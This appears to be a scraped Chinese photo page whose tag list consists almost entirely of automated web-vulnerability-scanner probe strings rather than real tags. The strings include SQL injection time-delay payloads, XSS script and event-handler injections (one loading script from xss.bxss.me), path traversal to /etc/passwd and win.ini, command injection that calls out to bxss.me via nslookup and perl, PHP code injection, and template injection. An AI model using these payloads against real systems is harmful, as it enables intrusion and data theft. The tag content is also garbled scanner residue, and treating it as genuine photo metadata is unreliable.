×
照片标签：
- 1
- 1LM7ZpAtO
- response.write(9978780*9335791)
- qZc0QSU8
- '+response.write(9978780*9335791)+'
- "+response.write(9978780*9335791)+"
- %0abcc:074625.17824-5365.17824.d0f61.19234.2@bxss.me
- to@example.com>%0d%0abcc:074625.17824-5366.17824.d0f61.19234.2@bxss.me
- ${9999447+9999385}
- <esi:include src="http://bxss.me/rpb.png"/>
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- ../../../../../../../../../../../../../../../proc/version
- '.gethostbyname(lc('hityt'.'webtwikp0a72d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(70).chr(112).chr(68).'
- ".gethostbyname(lc("hitcs"."vhgyucmaf41b2.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(87).chr(110).chr(88)."
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- ../../../../../../../../../../etc/passwd%00.jpg
- &n924820=v956085
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- echo kgvtsc$()\ mplyxo\nz^xyu||a #' &echo kgvtsc$()\ mplyxo\nz^xyu||a #|" &echo kgvtsc$()\ mplyxo\nz^xyu||a #
- /../..//../..//../..//../..//../..//etc/passwd%00.jpg
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- HttP://bxss.me/t/xss.html?%00
- &echo lmbohl$()\ xotdrx\nz^xyu||a #' &echo lmbohl$()\ xotdrx\nz^xyu||a #|" &echo lmbohl$()\ xotdrx\nz^xyu||a #
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- )
- bxss.me/t/xss.html?%00
- /etc/passwd
- !(()&&!|*|*|
- 1some_inexistent_file_with_long_name%00.jpg
- %2fetc%2fpasswd
- |echo pakfbb$()\ bdcnoj\nz^xyu||a #' |echo pakfbb$()\ bdcnoj\nz^xyu||a #|" |echo pakfbb$()\ bdcnoj\nz^xyu||a #
- ^(#$!@#$)(()))******
- Http://bxss.me/t/fit.txt
- /.././.././.././.././.././.././.././../etc/./passwd%00
- http://bxss.me/t/fit.txt%3F.jpg
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- (nslookup hitgcaemsuifm9946c.bxss.me||perl -e "gethostbyname('hitgcaemsuifm9946c.bxss.me')")
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- $(nslookup hitumaamejkjyab9be.bxss.me||perl -e "gethostbyname('hitumaamejkjyab9be.bxss.me')")
- "+"A".concat(70-3).concat(22*4).concat(118).concat(74).concat(117).concat(84)+(require"socket" Socket.gethostbyname("hitin"+"ztoklzpv10eaa.bxss.me.")[3].to_s)+"
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- ';print(md5(31337));$a='
- '+'A'.concat(70-3).concat(22*4).concat(116).concat(71).concat(119).concat(67)+(require'socket' Socket.gethostbyname('hitbv'+'uxesxabnd4d9a.bxss.me.')[3].to_s)+'
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- ";print(md5(31337));$a="
- ../././../././../././../././../././../././../././../././../././../././etc/passwd
- bxss.me
- ${@print(md5(31337))}
- |(nslookup hitdxcnnknrdi94d93.bxss.me||perl -e "gethostbyname('hitdxcnnknrdi94d93.bxss.me')")
- ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
- /xfs.bxss.me
- `(nslookup hitgkwcrdbyvm31e16.bxss.me||perl -e "gethostbyname('hitgkwcrdbyvm31e16.bxss.me')")`
- '"
- ${@print(md5(31337))}\
- <!--
- '.print(md5(31337)).'
- file:///etc/passwd
- /\../\../\../\../\../\../\../etc/passwd
- /WEB-INF/web.xml
- C:\WINDOWS\system32\drivers\etc\hosts
- ../../../../../../../../../../windows/win.ini%00.jpg
- /../../../../../../../../../../boot.ini
- %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
- ..\..\..\..\..\..\..\..\windows\win.ini
- ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
- 1'"()&%<acx><ScRiPt >i8m9(9039)</ScRiPt>
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- '"()&%<acx><ScRiPt >i8m9(9344)</ScRiPt>
- WEB-INF/web.xml
- WEB-INF\web.xml
- 19228253
- acu8171%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca8171
- acux7750%C0%BEz1%C0%BCz2a%90bcxuca7750
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu7225%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7225
- acux6750%C0%BEz1%C0%BCz2a%90bcxuca6750
- acu2839%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2839
- acux1087%C0%BEz1%C0%BCz2a%90bcxuca1087
- 1%22onmouseover=i8m9(92462)%22
- 1"onmouseover=i8m9(97532)"
- 1" ltXS=i8m9([!+!]) tLH="
- 1\u0022onmouseover=i8m9(94013)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%69%38%6D%39%28%39%34%37%36%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(i8m9(9530))'bad="
- 1"><script>i8m9(9314)</script>
- 1<ScRiPt >i8m9(9959)</ScRiPt>
- 1<WUEURN>PXNZJ[!+!]</WUEURN>
- 1<script>i8m9(9879)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%69%38%6D%39%28%39%36%32%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >i8m9(9685)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9038></ScRiPt>
- 1< ScRiPt >i8m9(9029)</ScRiPt>
- 1<isindex type=image src=1 onerror=i8m9(9792)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9559'>
- 1<body onload=i8m9(9742)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=i8m9(9451)>
- 1<img src=xyz OnErRor=i8m9(9659)>
- 1<img/src=">" onerror=alert(9225)>
- %31%3C%53%63%52%69%50%74%20%3E%69%38%6D%39%289719%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\i8m9(9453)\u003C/sCripT\u003E
- 1<ScRiPt>i8m9(9903)</sCripT>
- 1<input autofocus onfocus=i8m9(9355)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(i8m9(9107))}
- 1jBums <ScRiPt >i8m9(9680)</ScRiPt>
- n6qZ95qK
- -1 OR 2+624-624-1=0+0+0+1 --
- -1 OR 2+97-97-1=0+0+0+1
- -1' OR 2+12-12-1=0+0+0+1 --
- -1' OR 2+628-628-1=0+0+0+1 or 'Z2ulUbUx'='
- -1" OR 2+984-984-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- 1 waitfor delay '0:0:15' --
- tjU2PGsp'; waitfor delay '0:0:15' --
- -5 OR 401=(SELECT 401 FROM PG_SLEEP(15))--
- -5) OR 57=(SELECT 57 FROM PG_SLEEP(15))--
- -1)) OR 53=(SELECT 53 FROM PG_SLEEP(15))--
- TjBdNKEY' OR 475=(SELECT 475 FROM PG_SLEEP(15))--
- Qh9YJwju') OR 346=(SELECT 346 FROM PG_SLEEP(15))--
- j2P2H9Or')) OR 203=(SELECT 203 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- @@ZvzkQ
微信扫一扫, 保存到手机
